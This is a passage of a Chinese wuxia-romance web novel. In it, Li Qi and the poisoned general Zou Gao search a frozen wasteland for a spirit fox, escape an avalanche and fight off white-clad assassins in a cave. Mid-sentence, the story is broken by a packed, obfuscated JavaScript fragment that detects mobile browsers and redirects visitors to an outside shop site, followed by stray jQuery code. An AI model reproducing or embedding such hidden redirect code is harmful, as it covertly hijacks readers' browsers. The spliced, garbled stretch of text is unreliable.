“姑娘这般貌美,在下却不曾见过,姑娘一定不是瀚海城本地之人吧。冰原宽阔无边,姑娘要找什么,不如先去在下家中住上几日,在下再陪姑娘去找。” 男人又道:“在下刚从上面下来,这几日天气不太好,恐怕要变天,届时雪山坍塌,定会死无葬身之地。” 看着几个男人不怀好意的嘴脸,李棋心中烦躁无比。 为首的男人言语虽然客气礼貌,但他背后几个男人或吹口哨、或大笑起哄,目光肆意扫视着她,让她很不舒服。 李棋正好手痒,很想打人,但他们说得也不假,冰原这几日天气不好,越往后也只会更恶劣。 当务之急,是取得灵狐泪。 这般想着,她还是忍了。 她正打算无视他们,绕路走开,身后一直安静的邹杲却突然出了声。 官袍太张扬,在邹杲毒发后的第一天,李棋就强制要求邹杲将官袍换成深紫色的锦衣。 进入冰原,邹杲又在深紫色的锦衣之外套一件黑色的貂裘披风,因为太冷,他将双手都缩在了披风内里。 在旁人看来,就是他抱臂大笑,十足十的挑衅。 “死无葬身之地?哈哈哈……” 他笑得根本停不下来,好笑听到了什么滑天下之大稽的笑话一样。 李棋一怔,懊恼得想拍自己的脑袋。 她一早上没和邹杲说话,都快忘了,无论旁人和邹杲说什么,邹杲都会质问一句,然后哈哈大笑许久,往往会笑得口干舌燥,被自己的口水哽咽得咳嗽才能勉强停下。 她还在担心邹杲的状况,为首的人却怒了。 “姑娘,我好言相劝,你这位朋友这笑是什么意思,是不相信在下所说,” 男人话没说完,邹杲一手捂着胸口,一手捧腹,一边大笑,一边重复,“……什么意思?哈哈哈……” 偏偏,他笑得气绝,前面声音太小,清清楚楚传入耳中的,就只有‘什么意思’四个字和一串挑衅般的大笑。 看到几人瞬间变脸,一脸怒意,再看着身后笑得不能自已的邹杲,李棋秒怂。 “抱歉,我朋友脑子不好,绝对没有轻视你们的意思,多谢提醒,告辞。” 李棋敷衍解释着,一手拉着邹杲,一手牵着千赤,正要绕路离开,邹杲又大笑着重复她的话语,“哈哈,轻视你们,哈哈哈……” 他笑得上气不接下气,别说几个大男人,就是李棋这个知情人都受不了了。 “挑衅我们?”男人身后的一个大汉怒道,“老子在这无尽冰原这么久,第一次见你这么不知好歹的,给我一起上,好好教训教训这个不知天高地厚的臭小子。” 另一个男人□□道:“少爷,我早就说不必装,咱们一起出手,将这臭小子打死,这美娇娘就是我、您的了。” “你们确定要动手,”李棋的话还没说完,便被人打断。 最开始和她说话的男人搓着手,笑眯眯说:“姑娘,你这同伴实在无礼,就让我的人帮你教导他一下吧。你先跟我回家,姑娘放心,我并非无礼之人,定会对你负责。” 男人说着,便带着身后的几个男人步步逼近。 李棋也顾不得太多,猛地将笑得痛苦到蹲到地上的邹杲抓起来,借力上马,猛扬缰绳,大喊“千赤快跑!”的同时,抓起站在千赤旁边的邹杲,将他提到马背之上。 经过一段时间的相处,千赤已经能听懂李棋的一些指令了。 几乎是瞬间,千赤嘶吼着,一跺马蹄,以不可抵挡之势向前冲去。 一切发生得太快,几个男人都被吓了一大跳,慌忙让开。 但是,他们却没有放弃,站起来后,一边大喊“站住!”一边穷追不舍。 一马驮着两人在一望无际的雪原中撒丫子狂奔。 在雪地不比平原,何况还承受了两个人的重量,千赤的速度慢了很多。 那几个男人也是顽强,虽然没有马匹,却硬是从日中追到日落,把李棋他们撵得满地跑。 天色渐晚,见实在追不上了,才无可奈何、气冲冲离开。 “不知好歹的东西,算你们跑得快,你们若是不死在雪原之中,我定抓到你们,让你们求生不得求死不能!” 听着男人越来越远的咒骂声,李棋松了口气。 回头一看,确定他们没有再追上来,李棋才从马上下来。 千赤再强悍,始终是驮着她和邹杲两个高大的成人在雪原中疾驰了接近两个时辰,这会儿也到了它的极限。 听到别人说话邹杲就忍不住大笑,这会儿,失去李棋的支撑,他趴在马背上几欲昏厥,整个人痛苦得不行。 李棋也不敢和他说话,只能默默将他从马背上扶下来,让千赤能轻松些许。 千赤身上还挂着他们在瀚海城准备的干粮、暖身的酒水等必备物资。 李棋看着都心疼,一手搀扶着邹杲,一手又解下千赤身上最大的两个包袱。 想了想,李棋又解下了它驮着的给它自己准备准备的两大袋干草。 李棋拍了拍它的屁股,想让它去找今晚可以住的地方,但是,千赤纹丝不动。 无奈,李棋只得求助笑得几近虚脱的邹杲。 邹杲这会儿已经笑不出来了,他靠在李棋身上,甚至有些站不稳。 所幸,他虽然控制不住情绪,但人却还没有变傻,瞬间便明白了李棋的意思。 他拍了拍千赤的屁股,用笑得沙哑的声音温声道:“千赤,去寻找可以扎营的地方。” 千赤温顺叫了一声,甩了甩尾巴,而后朝雪原中跑去。 两人相顾无言。 主要是李棋不敢说话,怕邹杲听到人声,他又忍不住发疯大笑。 突然,冷风一吹,邹杲正好面对风吹来的方向,被呛得咳嗽了好几声。 李棋连忙从包袱中取出酒,打开递给他。 邹杲咳到颤抖,一边抖,一边咳,咳得撕心裂肺,好一会,才缓过来。 李棋看得很不忍心,但却没有解决之法,为今之计,只有用至阴至寒的灵狐泪来压制他体内躁动的气血。 邹杲咳了好一会儿,才勉强缓过来,他接过酒,缓缓喝了一小口,便忍不住又咳嗽起来。 李棋想说话,又不敢,只能绕到他身后,轻抚拍打他的后背,帮他顺气。 等邹杲一口气缓过来,已经是好一会儿之后了。 邹杲将手里的酒递给李棋,第一句话便是,“小棋儿,我饿了。” 李棋任劳任怨接过酒壶盖好,从地上另一个包袱里拿出一包油纸包着的蒸馍。 一包三个,刚好是一个人一顿的份量。 她不敢说话,只默默塞到邹杲手中。 邹杲接过,露出浅浅的微笑。 他打开那层油纸,手在身上的大衣上蹭蹭,先拿起一个递给李棋,“小棋儿,辛苦你了。” 看着邹杲这真挚感激的模样,李棋心中反而不是滋味。 毒发后,邹杲对她越发的客气,很多时候,还会卑微讨好她,像是害怕被她丢下一般。 习惯了狐狸一样张扬狡猾的邹杲,再看他如今这副模样,李棋真的很难忍住不心疼他。 她默默接过蒸馍,并且对着邹杲摇头笑了笑,而后在千赤的口粮上坐了下来。 见她笑了,邹杲也跟着坐下,这才拿出蒸馍迅速大口但并不难看地吃了起来。 邹杲的嗓子笑得很疼,比起酒,他更想喝水。 但酒好歹还能让他暖暖身子,水却是寒冷至极,只会让他的喉咙更加难受。 冷硬的蒸馍硌得他的喉咙难受得说不出话,但当下的环境不给他挑剔选择的机会。 他只低着头啃蒸馍,时不时看李棋一眼,一旦李棋手里的蒸馍快吃完了,他总能像献宝一般,及时拿出一个递给李棋。 蒸馍已经冷了,很难下咽。 李棋忍了再忍,才没有吐出来,毕竟吃的不多,而无尽冰原太大,虽然她师父给了大概的描述,但却并不细致。 他们想要找到灵狐,估计需要不少时日。 等千赤找到山洞,生起火,烤着应该不会这么难吃。 也因为如此,看着一点不见嫌弃之色,好像在吃什么山珍海味的邹杲,李棋很是不解。 就在她看着邹杲愣神,好奇邹杲到底是个什么样的人时,邹杲也转过头和她四目相对。 只一眼,邹杲就心有灵犀般,看出她心中所想。 邹杲吞咽唾液缓了缓,才轻声道:“尽管大嬴实力强盛,但在外征战,被逼到绝境、弹尽粮绝是非常平常的事。这些蒸馍是有些冰冷坚硬,但总比饥饿好。” 看着他不甚在意的模样,李棋心里忍不住在心里骂了皇帝一番。 邹杲陪着成武帝四处征战没有功劳也有苦劳,何况邹杲还是人尽皆知的战功累累的不败战神、少年将军。 如今嬴国一统,天下安定,邹杲这个大功臣却得受这种苦,还连累了她,嬴国皇帝简直不是人。 李棋还在心里替邹杲抱不平,邹杲却温柔笑着说:“小棋儿吃不惯这个吧?” 这温柔的声音,暧昧的称呼,听得李棋五味杂陈。 她缓缓抬起头看向邹杲,又听邹杲用哄人的语气道:“小棋儿再忍忍,千赤很聪明的,它肯定能带我们尽快找到灵狐所在。” 邹杲吃掉最后一口蒸馍,手在雪地中蹭了蹭,而后温柔亲昵地揉了揉她的头。 邹杲说:“小棋儿辛苦了,若我能侥幸熬过这一劫,我定千百倍补偿你。” 这是李棋有男女之别的意识以来,第一次被差不多年龄的男人揉头发。 当然,师兄除外。 不过,邹杲的确是第一个让李棋起过贼心的男人,一时间,李棋心脏都漏停了一拍。 但是听到邹杲看似轻声实则沉重的话语,她的高昂情绪又降了下去。 “你一定……”安抚他的话没说完,李棋大惊,连忙捂住嘴巴。 果不其然,邹杲又开始重复她说的话,而后大笑。 大笑过后,便是撕心裂肺的咳嗽。 李棋自责不已,也顾不得手上还没吃完的半个蒸馍,往干草上一放,又是给邹杲顺气,又是去给邹杲拿酒的。 没办法,他们只带了驱寒的烈酒,虽然四周都是可以化成水的白雪,但是未经煮沸,别说给邹杲吃,李棋自己都不敢冒这个险。 为今之计,只能寄希望与千赤,它找到可以暂住之所,李棋才能生火煮雪化水给邹杲润喉。 又是一阵折腾,邹杲才勉强缓过来。 看着咳得眼睛红润的邹杲,李棋愧疚不已。 她这会儿不敢说话,只惭愧看着邹杲。 邹杲笑着拍拍她的手,“放心,我还死不了。” 他自嘲又道:“就是有些难看,我这般丑态毕露,小棋儿你会嫌弃我吗?” 他这话有些暧昧,但是此刻的李棋只关心他的状态,只连忙摇头否定,完全没注意邹杲不着调中的真情流露。 “我没事。”邹杲又道,“小棋儿,坐下休息吧。” 李棋还是很担心,在他温柔但强硬的话语中,李棋才犹豫着在另一袋干草上坐了下来。 她捧着已经冷透的半个蒸馍,味同嚼蜡般咀嚼着。 两人无言并坐,谁都没有再说话。 天色渐渐黑沉,直至黑暗完全笼罩,千赤才踏着月色归来。 * 千赤回来的第一时间,便是跑到邹杲身边,温顺用脑袋轻蹭邹杲的腰。 邹杲摸了摸它的脑袋,同时对李棋道:“小棋儿,把东西都放到千赤身上去,它找到可以暂住的地方了。” 李棋点头,连忙把东西都挂到千赤身上。 看着病恹恹的邹杲,李棋想让他坐到千赤马背上去,却又不敢说话,只能扯了扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680493|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹杲的衣服,用手比划给他看。 李棋杂书看得多,懂一些手语的,但是邹杲却不懂。 不过好在,他也是个人精,手语也从日常手势中演化而来,他很快便猜到了李棋的意思。 邹杲也不扭捏,抓着缰绳,利落上马,而后朝李棋伸出手,笑着说道:“千赤的脚程很快,它往返差不多一个时辰,如今你靠双脚走过去,估计比它往返更久,上来,千赤带我们过去会更快。” 李棋有些犹豫,她担心千赤吃不消。 但是看着邹杲宽大红润的手,犹豫片刻,她还是伸手握住,被邹杲拉扯到身后。 她还没坐稳,邹杲便拉着她的双手抱住他的腰。 邹杲穿得很厚,但李棋仍然能感受到,邹杲的腰很细,身上都没什么肉了,就靠一副骨架支撑着。 ‘无忧’毒发折磨得他也吃不下什么东西,就算现在勉强塞下去了,过不了多久,也会吐出来。 不过,邹杲瘦削归瘦削,体型骨架毕竟摆在那,他坐在李棋身前,替李棋遮挡了迎面而来的冷风。 而且,邹杲毒发后的体温很高,李棋挨着他,仿佛坐在碳火堆边一样,很暖和。 李棋躲在邹杲身后,本能紧紧抱住他的腰,不敢言语,呼吸声也控制得很轻很轻。 * 千赤找到的山洞不远不近,它驮着两人大概走了大半个时辰,才在一座高大的山峰前停下。 山脚处有一个小小的洞口,被积雪封住了大半,夜色中,稍不注意,真的难以发现。 李棋也是见千赤停下良久,下马凑近看了好一会儿,才发现其中端倪。 积雪有些厚,还有些硬,李棋一脚下去,只踢动些许。 找到被白雪掩盖的大概入口后,李棋解开身上白色的虎皮披风丢到邹杲怀里,然后取下缠在腰间九龙神鞭。 等邹杲和千赤都退到了数丈之外,她才完全放开,使出全力,借着鞭子挥出的力道,硬生生打破了盖住洞口的厚厚的积雪。 她打穿的洞口很宽,就是有点矮,比李棋还矮了许多,不过她和邹杲弯着腰能进去,千赤也堪堪能进入。 太大了反而不利于隐藏,于是,估摸着差不多,她收起了鞭子,回头招呼邹杲和千赤过来。 不等一人一马进来,她先从腰包里拿出火折子,钻了进去。 刚刚只有一个窄小的洞口,也看不清里面,但是进去一看,真的别有洞天。 里面居然有个小水泉,水还是流动的,甚至还有鱼儿在游动,周围还有鲜活的翠绿的植物,都是些矮矮的灌木,不等能做千赤的口粮,吃完的树干还能用来生火,都免得去找柴火了。 邹杲也有些惊奇,“冰天雪地的居然还有流动的水。” 李棋喜出望外,连连点头赞同,她拿着火折子凑近一些,水里的鱼都能看得十分清楚。 邹杲又道:“暂时便在这里扎营。等会,我烤鱼给你吃。” 李棋笑盈盈点头,接过邹杲递过来的披风披上,兴冲冲就要去矮灌从中寻找干柴火。 邹杲卸下千赤身上的重物,也上前帮忙,千赤则在一旁挨着啃咬起树叶来。 干柴很少,勉强够生火,两人又用匕首割断千赤啃掉树叶的树枝用做补充。 很快,李棋便通过钻木生起了一拢火,邹杲则抓了两条鱼来烤,两人烤鱼的时候,吃饱喝足的千赤已经躺下休息。 进入无尽冰原的第一天晚上,两人一马过得很滋润。 虽然外面寒风呼啸,大雪飞扬,但是山洞中,两人并肩坐在火边,裹着自己的披风,靠在千赤身上睡得还算香甜。 这似乎是一个好的开始。 可是,接下来的几天,却让李棋和邹杲都绝望无比。 每次一喊千赤去找周围的活物,它就趴在洞里不动,连邹杲喊都没用。 他们也在洞内外仔细搜查了一番,但一无所获。 无奈,李棋和邹杲只得自己瞎转悠。 从早到晚,八个方向,方圆百里,几乎都找了一遍,还是没有找到任何有关灵狐的蛛丝马迹。 又寻找了一天,日落西山,冰原被黑暗笼罩。 回到山洞,生起火,邹杲里拿着两条鱼在烤。 看着光秃秃的山洞,以及正在吃最后一点干草的千赤,她忧心忡忡看向邹杲。 这是第二个周期的最后一天,李棋还不敢说话,她打算等,等到第二十七天,再说话试一试无忧的药性。 李棋没说话,邹杲却明白她的担忧。 邹杲道:“放心,千赤很聪明也很厉害,它可以自己寻找食物。” 李棋摇头,她不是担心千赤找不到食物,她是在惆怅,千赤走后,就没有暖烘烘的靠垫了。 想到这,李棋转过身,不舍抱住了千赤。 突然,邹杲像是明白了李棋的心中所想。 他拍着自己的胸膛,语出惊人骄傲道:“小棋儿别担心,还有我呢!” 李棋一愣,转头就在邹杲脸上看到了久违的、不正经的笑容。 臭邹杲,为什么还要故意戏耍她。 李棋很气,偏偏还没法说话。 不一会儿,邹杲主动将烤好的鱼递给了她。 李棋接过,也不管它烫不烫,拿着就想往邹杲嘴里怼。 她这几日没有说话,这里又没有外人,邹杲这几日几乎没有大笑过,又喝了李棋携带的草药熬制的润喉汤,气血好了不少。 看着来势汹汹的烤鱼,他非常利落用手中的烤鱼挡住。 邹杲轻笑道:“小棋儿,鱼肉松散,烤熟的鱼很容易垮烂,再打下去,等会该没得吃了。” 看着已经有些松动的鱼肉,李棋大惊,连忙拿回来,并且用手去接,被烫得嘶嘶叫,那叫一个狼狈。 听着邹杲的轻笑声,李棋很不爽,却只能恶狠狠瞪邹杲一眼。 邹杲也是个能伸能屈的,连忙举手投降,面带笑容,狼狈但愉悦吃着手中同样松散的鱼肉。 两人都狼狈,反倒没了那么多别扭,吃得一个比一个豪放。 吃完,两人靠在千赤身上,等着第二天的到来。 * 一觉醒来,看着洞口透进来的明亮光线,李棋连忙摇醒还在熟睡的邹杲。 邹杲有些迷糊,但是很快便反应过来。 他不动声色摸了摸眼角,而后对李棋道:“小棋儿,你说话试试。” 李棋看着他,良久,才试探性开口,“好了吗?” “好了、咳,哈哈哈,好像没好,哈哈哈,咳咳,”邹杲苦涩笑道。 李棋失望不已,也不敢多说,只能连忙起身帮邹杲顺气。 等邹杲缓过来,邹杲拍了拍千赤的屁股,让千赤自己出门去找吃的,他们则坐在快要熄灭的火堆旁,相顾无言。 李棋更是连连叹气,她的判断错了,邹杲毒发的周期性并没有那么规律。 她也摸不清邹杲身上的‘无忧’的药性了,更不确定什么时候,她才能正常和邹杲说话。 也不知道灵狐泪压制的毒性包不包括一听人说话就大笑的恶疾,若是不能,之后邹杲该怎么办啊。 从北走到南,遇到的人只会多不会少,随便一个行人、随便的一句话,都能让邹杲大笑不止。 只怕等不到前往虚无岛,邹杲就先笑死在路上。 9. 无尽卷·第九章 9 两人沉默良久,还是邹杲这个命不久矣的当事人先缓过来。 他含笑起身,因为喉咙太过难受懒得说话,只轻柔拍了拍李棋的肩膀,便熟练去后面的小水潭中抓鱼。 盯着邹杲的背影,李棋愣怔片刻,也打起精神来。 她往快燃尽的火堆中加入些许柴火,又将最后一帖润喉汤药给邹杲煎煮上。 邹杲完全承担了他们的伙食,虽然带来的调料所剩无几,但也还算有滋有味。 分着喝完鲜香的鱼汤,两人收拾一二,便继续去找寻灵狐。 毒赋给的小册子上写:灵狐喜寒,常居于冰层地洞之下。 李棋和邹杲寻找的方向也是冰雪之上的地洞,两人又在冰天雪地中刨了很多洞。 老鼠、雪兔抓了不少,唯独没有找到灵狐。 虽然不少书籍故事中都有灵狐的存在,但实际生活中,几乎没有人见过灵狐。 关于灵狐的形象也五花八门。 关于灵狐的外貌特征,毒赋是这样写的:似狐似鼠,浑身雪白,体态娇小,不过半尺已为硕。 半尺也就是五寸(十六厘米),这还是体型最大的,最小的,怕是比一般老鼠还小,寻找起来,非常的难。 两人这一找,便又是好几天。 第六天的傍晚,两人正跪在一座雪山的半山腰,李棋手里拿着一把匕首,埋头刨一个细小的洞,邹杲则在边上看着。 还不等她把洞里的东西刨出来,突然,她听到沙沙声。 李棋一惊,正要和邹杲说话,邹杲先抓住她的肩膀,将她提溜起来,带着她拔腿就跑。 同时,雪山之上传来剧烈的爆炸声,伴随而来的,还有雪山轰然坍塌发出的剧烈声响。 雪崩,不,更像是人为的引起的雪崩。 看着如山海般倾压而来的多年积雪,两人都顾不得追究其真实原因,只拔腿就跑,保命要紧。 但是两人在半山腰,奔跑的速度完全比不及雪山崩塌的速度。 眼看就要被暴雪追赶淹没,李棋连忙取下缠在腰上的九龙神鞭。 “邹杲,抓住了!”李棋喊着,将鞭头朝邹杲扔去。 听到说话的声音,邹杲又开始难以抑制的爆笑加咳嗽。 不过,他好歹是久经风霜的将军,虽然咳得脸和眼眶通红,但还是借力跃起,抓住了鞭头。 这时,轰然坍塌的雪海也追上了他们。 顷刻间,李棋被暴雪吞没了双腿,双腿寒冷刺痛,让李棋疼痛不已,巨大的冲击力,让她无法稳住身形,更无法借力施展轻功。 她气沉丹田、屈腿勉强吻住身形,双手抓住鞭把全力一甩,将邹杲从雪海中抽离用尽全身力气抛出,而后,也借着邹杲的重量和甩出去的惯性,将自己拔了出去。 然而,暴雪还未停止,一旦落到地上,巨浪般的雪潮还是会在顷刻间将他们吞噬。 还好,邹杲反应极快,在被她甩出去之后,便连忙调整姿势,不但接住了她,还抱着她与奔涌的雪海赛跑。 被邹杲抱着,疾风刮刺着她的脸,而她却无比温暖,邹杲好似一个大火炉,散发着源源不断的热量。 同时,李棋也被邹杲的轻功所震撼。 邹杲在抱着她的情况下,踏着疾驰的雪海,稳健且快,速度几乎和暴雪迅猛的流速一致。 轻功能达到这种出神入化的境界的,李棋迄今为止只见过两人,一人是邹杲,还有一人则就是名冠江湖数十载的临江仙。 临江仙其名便源自其超乎常人的轻功,他凭借一招‘踏浪逐风’走遍天下,几乎无人不知,玄林的迷阵便是临江仙和卜算子一起设下的。 玄林的迷阵设下后,两人曾在玄林住了一年,这一年里,李棋和师兄跟着他们学了不少东西。 卜算子擅占卜与奇门遁甲,临江仙擅轻功与暗器。 因为师父的缘故,两人并不吝啬,只要她和师兄愿意学,他们便毫无保留地传授。 临江仙的‘踏浪逐风步’李棋也学过,只不过,她学得不到火候,只掌握了三成不到,师兄苦练好几年,也只勉强掌握五成不到。 而如今,她却在邹杲身上,在身中剧毒的邹杲身上看到了掌握了至少七成以上的‘踏浪逐风’。 被邹杲抱着放到空旷平坦的雪地上,李棋都还没反应过来。 她怔怔看着邹杲,没忍住问道:“你刚刚用的是逐风踏浪步?临江仙亲自传授给你的?” 邹杲点头,还没来得及说话,便又开始大笑。 这回,他只笑了两声,便发不出声,有急火攻心、晕厥之势。 见他要倒,李棋大惊,连忙上前扶住他。 邹杲身上滚烫,且咳嗽不止,还不等李棋给他顺气,他一口黑血咳吐而出,白茫茫的雪地之上格外刺眼。 同时,他浑身无力,骨架又大,李棋还没缓过劲来,有些扶不住他,只能连忙将缠绕着他的神鞭抽出来,避免邹杲磕到受伤。 等邹杲坐到雪地上,李棋才抓着他的手腕,摸到他的脉搏。 这一摸,李棋便是大惊,之前,邹杲便不让她摸,这还是李棋第一次在他毫无防备的情况下摸到他的脉。 李棋被他深厚的内力震惊的同时,也为他如今的状况忧心。 内力躁乱、气血翻涌,有暴乱走火入魔之势。 看着已经说不出话来的邹杲,李棋心疼且愧疚,邹杲这般,是因为不得已动用内力使用轻功导致的。 李棋心中很慌乱,医理毒术她也学了不少。 但‘无忧’这种级别的剧毒,却也是她第一次参与研究制作,虽然她全程都在,她更多的却是打下手,邹杲也是第一个服下‘无忧’的人,他如今这般情况,李棋真的束手无策。 怎么办? 李棋心很乱,一边掐邹杲的人中虎口,让邹杲保持清醒,一边拿出腰包里随身携带的银针,也顾不得高温消毒,直接替邹杲扎针,调理他体内躁乱的内力。 同时,她在回想毒赋关于‘无忧’交代过的事。 勉强压制住邹杲躁乱攻心的内力,李棋也想到了一个方法,只不过她不太确定。 但是现在,也只能死马当作活马医了。 虽然邹杲几近昏厥,李棋还是不敢说话。 她也顾虑那么多,干脆利落扒了邹杲身上的貂皮披风,还扒掉了邹杲的外袍,只给他留了一套单薄的里衣。 她将邹杲平躺放到冰雪之上,同时辅以施针。 邹杲的身体依旧是滚烫的,却也冻得浑身颤抖,牙齿磕撞出声,他已经失去意识,几近昏迷,给人一种只凭一口气吊着的感觉。 李棋心中慌乱,但还是让自己冷静下来,继续施针。 好在,到第五根针时,邹杲脸上的痛苦之色便轻缓了不少,虽然他的身体依然滚烫,但冰雪是有用的。 李棋大喜,急忙将剩余几根针插入对应的穴位,而后在邹杲旁边挖起了坑。 好不容易,才在雪地之上挖了一个和邹杲差不多大小的坑,她才取出邹杲身上的针,还没来得及将邹杲放到坑里,就看到老远提着刀朝他们的方向围拢而来的数十人。 来人皆着白衣,几乎和雪地融为一体,从他们的速度来看,内力不浅,想来,刚刚的雪崩便是他们引起的。 看着已经昏迷的邹杲,李棋有些绝望。 差不多三十号人,她还能护邹杲周全吗。 虽然绝望,但李棋还是将邹杲的衣服整理好,期间,还不小心将邹杲袖袋里的墨玉簪甩了出来。 这是墨玉簪是邹杲那日在王府门前,准备离开时佩戴的,离开鄂阳后,三天两头遭到追杀,他怕弄丢,连同腰间的金镶翠玉佩一起收到了袖袋中。 邹杲很宝贝这两个饰品,李棋连忙将墨玉簪捡起,又从邹杲的袖袋中翻出玉佩和双鱼木挂坠通通塞到她的腰包里,这才一把撸起邹杲的衣服。 她将邹杲的衣服捆绑在邹杲身上后,将邹杲推进了她挖好的坑里。 做完这些,来人也近了。 她捡起她的九龙神鞭,站在原地,做好了和来人决一死战的准备。 庆幸的是,天不亡他们,右后方,一道赤红色的身影以比白衣人更快的速度朝他们奔来。 是千赤! 千赤的速度极快,且攻击性极强,它一路顶撞踢踏,几乎放倒了它来的方向的四五个白衣人,给李棋清出一条出路来。 李棋大喜,一把扯出坑中的邹杲,拖着他便朝千赤跑去。 千赤非常聪明,在他们快靠近时,猛地加速,一头撞飞提刀想向李棋砍去的白衣人,而后一个帅气的急刹转身,半趴在李棋面前。 这一下,不止李棋,一众白衣人都看傻了眼。 这真的是一匹马?确定不是某个名声赫赫的大侠? 在众人震惊之时,李棋已经拖着邹杲扑到马背上。 千赤颠了颠,让他们坐到中间,而后追风掣电带着他们疾驰而去。 或许是它吃饱喝足又休养了几日的原因,它的速度极快,比初入雪原那日快了一倍不止。 不过,就算这样,也还是有白衣人不折不挠追上来。 看着穷追不舍的白衣人,李棋很气。 她将完全昏厥的邹杲放倒到马背上,让用缰绳套住邹杲的双手后,她利落翻身,从邹杲身前,翻倒身后。 这时,白衣人也追上来了。 她左手扶着邹杲,右手在腰包里翻找。 不确定千赤能不能听懂、会不会听她的话,她一边单手拉扯缰绳,一边还是朝千赤大喊道:“千赤,左转,应风跑!” 所幸,千赤果然有灵,一个急刹,便往左转向。 李棋猛不丁呛了一口冷风,非常难受。 白衣人也惯性冲出去很远,等他们反应过来,重新追上来,李棋也终于从腰包里找出她需要的药粉。 看着白衣人劈砍而来的刀刃,李棋毫不犹豫,将手中的小白瓷瓶从小布袋里取出来,而后朝他的刀刃扔去。 那人想躲,但已经来不及了。 大拇指大小的白瓷瓶撞在他的刀刃上,顺着风,炸开的药粉糊了他一脸,进入他的口腔和鼻息。 几乎是瞬间,他倒地咳嗽不止,丧失了继续追杀他们的能力。 其余跑得快的几人也没能逃脱,风将药粉吹散,冲在前面的几人都无一幸免。 这便是枪打出头鸟。 看着追得紧的几人纷纷倒地咳嗽,李棋才松了口气。 她抱紧昏厥过去的邹杲,抓住绑着邹杲的双手的缰绳猛地一扯,让千赤更快。 为了甩掉白衣人的追杀,千赤在冰原中绕来绕去,等它停下来,天已经黑了。 再一次,它将李棋和邹杲带到它最先找到的那个山洞。 李棋和邹杲有两日没回过这里,洞口已经又被风雪覆盖。 李棋有些无奈,她跳下马,摸着千赤的脑袋苦闷问:“千赤,你为什么又将我们带到这里,难道,灵狐藏在这里不成?” 只可惜,千赤终究是马,再有灵,也不可能口吐人言告诉李棋答案。 它只跺了跺前蹄,抖了抖背上的邹杲。 李棋叹了口气,将昏迷的邹杲从千赤背上抱下来。 下一刻,千赤冲向大雪覆盖住的洞口,用它的身体,又快又准,撞出一个足够李棋扶着邹杲进入的大洞。 它进入山洞后,摸黑在它常躺的地方躺下,还甩了甩尾巴叫了一声,像是在催促李棋扶邹杲过去。 李棋将邹杲扶到千赤身前躺下,她摸了摸邹杲的脉,发现寒冷能抑制邹杲体内翻涌的气血,也就没有给邹杲穿上衣服。 她把执着地要给邹杲当肉垫的千赤赶到了旁边,千赤看她那眼神,哀怨得不行。 但李棋心力交瘁,又累又饿,没精力管它。 她走到洞口附近、远离邹杲的地方,生起火堆。 等邹杲醒来,李棋已经煮好了一锅鱼汤。 她才尝了一口,便听到邹杲喊冷的声音。 李棋一惊,连忙放下手中的食物,上前去帮邹杲。 “没……”才说了一个字,李棋便反应过来,连忙止声。 还好,寒冷似乎暂时抑制了毒性,邹杲没有再失控大笑。 李棋才扶着邹杲靠着千赤坐起来,完全清醒的邹杲一惊,抓过一旁的衣服就开始翻找。 这是认识这么久以来,李棋第一次在他脸上看到如此急切的神色。 猜到那墨玉簪和金镶翠玉佩绝非普通饰品,李棋虽产生过不给他的念头,但还是在下一刻快速从腰包中取出,递到了邹杲面前。 邹杲一惊,几乎是抢过去的。 并且,他的目标只有墨玉簪和金镶翠玉佩,那对双鱼木玉佩他反倒没多在意,只是顺手抓到了上面的套绳,才顺势带了过去。 他似乎察觉到自己的失态,失而复得攥紧玉簪和玉佩,看向李棋缓缓道:“谢谢你。” 这声道谢,李棋不知道邹杲是想谢她什么。 索性不确定邹杲这会儿还会不会毒发,李棋也没有说话,只沉默摇了摇头,而后将一整锅鱼汤都拿了过来。 煮鱼汤的罐子是一个巴掌大小带盖的土瓷罐,特意带着给邹杲熬药的。 但是药已经喝完了,李棋将其清洗干净后就用来熬汤了。 她将盖子里她没喝完的鱼汤喝完,而后重新倒满,递给了邹杲。 邹杲接过,颔首点头算是道谢。 或许是在鬼门关走了一遭,他全然没了之前肆意潇洒的放松模样。 李棋也不敢妄自说话,就这样,两人沉默着,轮流喝掉了一小罐鱼汤,还将两指大小的一小条鱼的鱼肉分吃干净。 吃得差不多,邹杲缓缓站起来,似乎想把衣服穿好。 李棋也起身帮忙,突然,安静躺着的千赤站了起来,它咬着邹杲还没穿戴整齐的衣服,像是在提醒他什么。 邹杲和千赤同生共死好几年,异常默契,瞬间明白千赤在提醒他什么。 “小棋儿,把你的鞭子准备好,有人来了。” 李棋瞬间将九龙神鞭从腰间取下来,她甩了甩手中的鞭子,做好了战斗的准备。 却听邹杲夸赞道:“不愧是九龙神鞭,真霸气。” 不等李棋骄傲得意,就听邹杲又道,“差一点点,我的金铜钺斧就比不上它了。” 这还是李棋第一次听到邹杲主动说起他曾经的武器。 可惜时间不对,话音未落,就见一道白色的身影出现在洞口处。 “去里面待着,别再动用内力。” 李棋说着,一把将邹杲推到山洞深处,拿着鞭子气势汹汹冲向洞口,一鞭子将先一步迈出一只脚的白衣人打了出去。 白衣人数量很多,一个被打出去,另一个又冲上来。 外面,还有人在大声发号施令。 “冲进去,砍伤邹杲赏十金,砍断胳膊腿脚赏百金,斩下其头颅赏五千金!” 于是乎,二十来个白衣人不要命地往洞口冲。 他们颇有内力,人数又多,而且,他们似乎也打定主意要用车轮战的方式,来消耗李棋的体力。 他们人多,还狡猾,所以成功了。 不过三刻钟,李棋便力竭了,一个不防,其中一个白衣人顺势冲了进来。 有一就有二,白衣人接二连三闯了进来。 有了刚刚邹杲为了救她催动内力施展轻功后险些死掉这一遭,李棋也不敢再让邹杲出手。 于是乎,在第一个闯进来的白衣人提刀直奔邹杲时,李棋就放弃了坚守洞口,转身去帮邹杲。 在刀刃离邹杲不过五寸时,李棋赶了过去。 “别出手。” 李棋拦住邹杲,同时挡在他身前,她来不及躲闪,虽然替邹杲挡住了迎面而来的杀招,她的左膀,却坚坚实实挨了另一人砍来的一刀,鲜血直流。 